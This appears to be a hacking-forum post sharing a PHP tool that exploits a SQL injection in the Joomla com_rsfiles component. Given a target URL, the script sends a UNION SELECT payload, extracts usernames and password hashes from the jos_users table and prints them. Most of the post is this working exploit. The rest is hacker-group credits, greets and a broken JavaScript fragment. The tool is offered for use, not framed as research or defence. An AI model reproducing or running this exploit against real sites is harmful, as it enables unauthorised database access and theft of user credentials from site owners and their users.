Locked com_rsfiles SQL Injection Tool

[sQuo]

This is the hidden content, please

• Sign In
• or
• Sign Up

[LENGUAJE=php]

<?php $itz = array(); if($_POST['start']) { $a = $_POST['get']; $b = '/index.php?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,concat(0x47726f75705833,username,0x7c3a7c,password,0x47726f75705833)+from+jos_users--'; $file = ($a).($b); $get = @file_get_contents($file); if($get) { preg_match("#GroupX3(.*?)GroupX3#" ,$get,$m); $all = explode('|:|',$m[1]); $username = $all[0]; $password = $all[1]; echo "

 

Exploit :

Username : {$username}

Password : {$password}" ; } }?>

'+' '+'

'+'

[ Coded By Lov3rDNS ]

'+' '+'

'+'

[

This is the hidden content, please

• Sign In
• or
• Sign Up

]

'+' '+'

'+'

Group x3 : [ Mr.Dm4r - Shark Hidden - Hacker alajman ]

'+' '+'

'+'

###################################################

'+' '+'

'+' ---------------------

 

'+'

"Greets : NeT-Devil & Dr.TaiGaR & xSecurity & is-sec.com"'line=0cursor=' ...'function teclear(){if(line==mensaje.length) cursor=''ttecleado.innerHTML=mensaje.substring(0,line)+cursorif(line++ 

 

[/LENGUAJE]